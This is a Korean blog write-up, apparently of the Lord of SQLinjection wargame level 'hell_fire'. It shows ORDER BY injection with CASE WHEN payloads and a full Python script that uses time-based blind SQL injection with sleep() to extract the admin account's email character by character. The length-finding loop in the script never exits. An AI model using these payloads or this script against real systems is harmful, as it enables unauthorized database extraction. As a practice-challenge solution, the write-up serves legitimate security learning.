이번 문제부터 조금 다르다.

이전에는 그냥 쿼리를 통해 hello admin 같은 문자열을 찾으면 되었지만, 이번에는 DB 테이블 자체를 보여주었다. 

또, 예전과 동일하게 prob, proc, _ , . , union 필터링하고 있다. 이번에는 pw대신 email 을 직접 찾아야 한다.

union을 막은 걸로 봐선 union injection은 할 수 없을 것 같다.

진단하면서 order by 절과 같이 정렬하는 부분에서 injection이 터지는 경우를 본 적이 있어서 딱 봐도 order by절 뒤에 (case when) 이나 (select)절을 넣는 것 같다.


?order=id

일단 간단하게 order 파라미터에 컬럼명을 넣었다. 그랬더니 id값 대로 정렬이 되었다.

 

?order=score

반대로 score로 정렬했더니 상이한 결과를 보였다.

아, 그러면 조건문을 걸어서 참을 때는 id별로 정렬, 거짓일 때는 score별로 정렬하면 되겠다고 생각했다..!!!

payload : order=(case when 1=1 then id  else score end) 

이렇게 1=1 일때는 id로 정렬되고, 1=2일때는 score로 정렬되어 쿼리문이 내가 의도한 대로 잘 동작하였다.

그러면 1=1 부분에 email의 길이와 한글자씩 구하는 조건을 걸어주면 되겠다고 생각했다.

length()함수도 잘 적용되었다. 

문제를 풀려면 admin에 해당하는 email을 찾아야 하기 때문에 (id = 'admin' and length(email)>?) 이렇게 조건을 걸어줬다.

근데 >10 >20 >30 >40 >50 암만 길이를 늘려줘도 모두 반응이 똑같았다...

왜지...

이 방법을 쓰는 게 아닌 것 같다..

 

※이 방법이 틀리진 않으나 timebased를 써서 풀게끔 막아놓은 듯 하다..


그러다가 생각한 게 앞선 문제들에선 sleep(), benchmark() 함수들을 모두 필터링했는데 이번 문제부터 필터링이 빠진 것을 보고 그럼 time-based injection을 해봐야지 생각했다.

그래서 id, score 대신 sleep()함수로 시간 지연 차이를 발생시켰다.

버프를 이용해서 시간이 얼마나 차이 나는 지 확인했다.

payload : order= (case when 1=1 then sleep(10) else sleep(1) end)

리피터로 보내서 (1=1) 참일 때, 38,679밀리 초가 걸렸다...

payload : order= (case when 1=2 then sleep(10) else sleep(1) end)

반대로, 1=2 거짓일 때, 2,165 밀리 초가 걸렸다. 차이가 확실히 난다. 이 점을 이용해서 자동화 코드를 작성했다.

 


먼저, email의 길이 찾기

def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
       
        start = time.time()  #시작 시간
        math.factorial(100000)

        value = "(case when (id='admin' and length(email)={}) then sleep(10) else sleep(1) end)".format(len_num) #payload
        parmas = {'order': value}      
        response = requests.get(url,params=parmas, cookies=cookies)
 
        end = time.time()  #종료 시간
 
        print(value + f"{end-start:.5f} sec"#시간 확인
 

      return len_num

 

payload : order=(case when (id = 'admin' and length(email)= ?) then sleep(10) else sleep(1) end ) 

길이를 찾을 경우 sleep(10)에 걸린다! 실제로 소요 시간은 대략 10초 ~ 12초 사이

따로 break를 걸지 않았고 이때만 11초 정도 시간 지연이 발생했다. 길이는 28byte

이제, 한글자씩 email 주소를 찾아보자.

def pw_real(len_num):
 
    pw=''
 
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

       
        for j in range(46, 122):  #아스키코드값 48번부터 122번
 
            start = time.time()       #시작 시간
            math.factorial(100000)
 
            value = "(case when (id='admin' and ascii(substr(email,{},1))={}) then sleep(5) else sleep(1) end)".format(i,j)
            parmas = {'order':value}
            response = requests.get(url, params=parmas, cookies=cookies)
 
            end = time.time()      #종료 시간
            take_time = end - start    #소요 시간
           

            print(value + "    time : " + str(take_time))
 

            if take_time >6 and take_time<10:      #시간지연이 6~10초 사이 발생하면 출력하고 break
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

payload : order=(case when (id = 'admin' and ascii(substr(email, ? ,1))= ?) then sleep(5) else sleep(1) end ) 

하지만, 이 자동화코드에 문제가 좀 많다..

sleep(10)을 걸어두면 생각보다 시간이 너무 많이 걸린다.. 한글자씩 다 알아봐야기 때문에...ㅠ

보통이면 sleep(5)를 걸어두면 6초 언저리가 나와야 하는데 갑자기 22초 42초가 나와서 다시 재진행했다.. 조건을 더 까다롭게 정해둬야 하는 것 같다.

그래서 sleep(5)로 낮추고 대신 시간 지연이 6초 ~ 10초 정도 범위에 걸리면 break를 걸도록 만들었다.

 ※조건을 구체적으로 6<시간 <10 해두니 잘 나온다.. 

계속 코드를 실행하다가도 오류가 발생하긴 했다ㅠ

실행하면 이처럼 break가 걸리고 그 다음으로 넘어가서 문자를 찾는다..

 

시간 적게 걸리게 가능하신 분 알려주세요..

 

전체코드 

#LOS hell_fire

import math
import time
import requests

url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
       
        start = time.time()
        math.factorial(100000)

        value = "(case when (id='admin' and length(email)={}) then sleep(10) else sleep(1) end)".format(len_num)
        parmas = {'order': value}      

       
        response = requests.get(url,params=parmas, cookies=cookies)
        end = time.time()
        print(value + f"{end-start:.5f} sec")

    return len_num

def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

       
        for j in range(46, 122):  
 
            start = time.time()
            math.factorial(100000)
 
            value = "(case when (id='admin' and ascii(substr(email,{},1))={}) then sleep(5) else sleep(1) end)".format(i,j)
            parmas = {'order':value}
            response = requests.get(url, params=parmas, cookies=cookies)
 
            end = time.time()
            take_time = end - start
           

            print(value + "    time : " + str(take_time))
 

            if take_time >6 and take_time<10:      
                pw = pw + chr(j)   
                print("password  : ", pw)
                break
    return pw

pw_real(pw_len())
 

 

 

solve!!!!!!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step25. green_dragon 풀이  (0) 2023.06.21
[LOS] step24. evil_wizard 풀이  (0) 2023.06.21
[LOS] step22. dark_eyes 풀이  (0) 2023.06.20
[LOS] step21. iron_golem 풀이  (1) 2023.06.19
[LOS] step20. dragon 풀이  (1) 2023.06.15

+ Recent posts